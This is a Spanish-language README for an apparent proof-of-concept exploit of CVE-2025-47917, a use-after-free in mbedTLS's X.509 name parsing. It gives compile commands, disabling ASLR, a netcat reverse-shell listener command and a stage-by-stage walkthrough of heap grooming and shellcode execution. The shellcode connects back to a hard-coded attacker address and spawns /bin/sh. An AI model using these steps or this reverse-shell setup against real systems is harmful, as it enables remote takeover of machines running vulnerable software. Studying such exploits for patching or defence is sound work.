
Exploit PoC para CVE-2025-47917: Uso después de liberación (Use-After-Free) en mbedTLS que conduce a ejecución remota de código.
Este repositorio contiene un exploit que apunta a una vulnerabilidad Use-After-Free en la función de análisis de nombres mbedtls_x509_string_to_names() de la biblioteca mbedTLS. Un exploit exitoso otorga ejecución arbitraria de código con privilegios de root al secuestrar metadatos de heap liberados y redirigir el flujo de control hacia shellcode inyectado.
Sistema operativo: Linux (probado en Kali Linux)
Privilegios de root: Requeridos para deshabilitar ASLR y ejecutar shellcode inyectado
Bibliotecas de desarrollo de mbedTLS (mbedTLS < 3.6.4):
sudo apt update
sudo apt install -y libmbedtls-dev
Herramientas de compilación: gcc, make (opcional)
Ajuste las rutas de include/library según su instalación:
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
Deshabilitar ASLR (Address Space Layout Randomization):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Prepare un listener para la reverse shell en la máquina atacante (puerto 4454):
nc -lvnp 4454
Ejecute el exploit con privilegios de root:
sudo ./exploit_UAF
checkAslr() lee /proc/sys/kernel/randomize_va_space para asegurar que ASLR esté deshabilitado. Sale si está habilitado.mbedtls_x509_string_to_names(): Inicializa una lista vacía de datos con nombre.paddingChunk() asigna muchos structs falsos de named-data para llenar las entradas de la lista libre con contenido controlado que apunta al shellcode.mbedtls_x509_string_to_names(): Desencadena la condición Use-After-Free, reutiliza un chunk liberado que contiene metadatos falsos.mmap(), se copia y se ejecuta a través del puntero corrupto named_data->val.p.192.168.92.1874454El shellcode realiza una secuencia socket + connect + dup2, luego execve("/bin/sh").
MIT